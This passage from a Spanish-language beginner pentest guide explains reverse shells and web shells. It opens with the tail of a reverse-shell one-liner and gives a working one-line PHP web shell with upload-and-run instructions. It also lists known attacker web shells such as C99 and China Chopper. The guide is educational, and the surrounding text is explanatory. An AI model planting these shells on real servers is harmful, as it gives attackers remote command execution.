sprintf("/bin/sh <&%d >&%d 2>&%d",f,f,f)'

Página 30 de 35
Existe una infinidad de payloads que se pueden emplear para obtener una
shell remota. Lo importante siempre es aprender el concepto, los
principios básicos, luego podrás escoger la mejor herramienta según el
escenario.

Web Shells

Es cierto que hoy en día, en el contexto de la ciberseguridad y las pruebas


de penetración, obtener un reverse shell es mucho más común y preferida
en comparación con los web shells.

Esto se debe a que un reverse shell permite un control más completo y


interactivo sobre el sistema comprometido, lo que facilita la exploración, la
escalada de privilegios y la ejecución de comandos más allá de las
limitaciones de un servidor web.

Sin embargo, aún es muy importante entender qué es un web shell y


cómo funciona, ya que sigue siendo una herramienta relevante en varios
escenarios.

¿Qué es un Web Shell?

Un web shell es básicamente una interfaz de línea de comandos basada en


navegador que permite a un atacante interactuar con el sistema operativo
de un servidor web. Esta interfaz se carga a través de una vulnerabilidad
en una aplicación web (como una carga de archivo no filtrada) y se utiliza
para ejecutar comandos directamente sobre el sistema afectado. El web
shell es una de las formas más antiguas de obtener acceso a un sistema de
forma remota a través de una web comprometida.

Página 31 de 35
¿Por qué es importante conocer un Web Shell?

Aunque los reverse shells son más interactivos y robustos hoy en día, es
crucial entender los web shells por varias razones:

1. Punto de Entrada Inicial: A menudo, un web shell se utiliza como el


primer paso en la explotación de un servidor web vulnerable. Si un
atacante no puede obtener un reverse shell de inmediato, puede
recurrir a un web shell para obtener una ejecución remota de
código inicial. Esto permite obtener acceso al servidor, y desde allí,
el atacante puede intentar elevar sus privilegios o pivotar a otros
sistemas en la red interna.

2. Escenarios Específicos de Ataque: En algunos casos, el uso de un


web shell puede ser la única opción viable, especialmente cuando
los sistemas están altamente protegidos, pero se puede explotar
una vulnerabilidad en la aplicación web para cargar un archivo
malicioso. En estos entornos, el web shell puede proporcionar al
atacante un punto de control útil, aunque limitado.

3. Persistencia: Aunque los web shells pueden ser eliminados si no se


toman medidas para garantizar la persistencia, todavía pueden ser
utilizados como un primer paso para establecer acceso persistente
en el sistema. Incluso si un web shell es eliminado más tarde, el
atacante puede haber instalado otros mecanismos de acceso para
realizar movimientos laterales en la red.

Página 32 de 35
4. Evasión de Restricciones: Muchas aplicaciones web tienen medidas
de seguridad diseñadas para detectar y bloquear conexiones de
reverse shell (por ejemplo, firewalls, proxies, o IPS). En estos casos,
el web shell puede ser una vía más sencilla para el atacante, ya que
las comunicaciones son realizadas a través de HTTP o HTTPS, lo cual
es menos probable que sea bloqueado.

Ejemplos de Webshell Basica:

Si tenemos la capacidad de subir archivos al servidor a través del


navegador, podemos cargar una web shell para obtener acceso remoto.

1. PHP Webshell (Básica)

Se crea un archivo en php por ejemplo [Link] con el siguiente código:

<?php system($_GET['cmd']); ?>

Una vez cargado el archivo al servidor se accede pasando un parámetro


cmd a través de la URL:

[Link]

Existen muchas webshells, cada una diseñada con distintos enfoques y


características, lo que las hace útiles en diferentes situaciones durante un
ataque.

Página 33 de 35
Web Shells Comunes:

Webshell Descripción
Conocida por ser una webshell
p0wny-shell
ligera y fácil de usar.
Muy popular entre los atacantes,
es conocida por sus múltiples
C99Shell funcionalidades como
administración de archivos y
ejecución de comandos.
Similar a C99, con funcionalidades
r57Shell
avanzadas de administración.
Webshell con características
WSO avanzadas de interacción y
administración de archivos.
Comúnmente usada para realizar
ataques en sitios web basados en
China Chopper
Windows, es eficiente en entornos
con medidas de protección.

Recuerda que tanto las webshells como los payloads tienen ventajas y
limitaciones dependiendo del escenario de ataque. La clave está en
entender el funcionamiento de cada técnica, cómo y cuándo aplicarlas, y
las medidas de seguridad necesarias para mitigarlas.

Página 34 de 35
Esta guía básica nace de mi pasión por la informática,
especialmente en el ámbito de la ciberseguridad, y de mi
compromiso por compartir este conocimiento con una
comunidad en crecimiento, ávida de aprender.

Cuando comencé, hace muchos años, la información disponible


no era tan accesible como lo es hoy. Sin embargo, a pesar de la
abundancia de recursos actuales, aún resulta complicado
encontrar guías claras y simples que no compliquen lo que
debería ser fácil de entender.

Espero que esta guía les haya sido útil e interesante

“Si Vis Pacem, Para Bellum”


- Si deseas la paz, prepárate para la guerra.

Diego R. García | Tech Defense Europe

Sígueme en LinkedIn

Página 35 de 35

También podría gustarte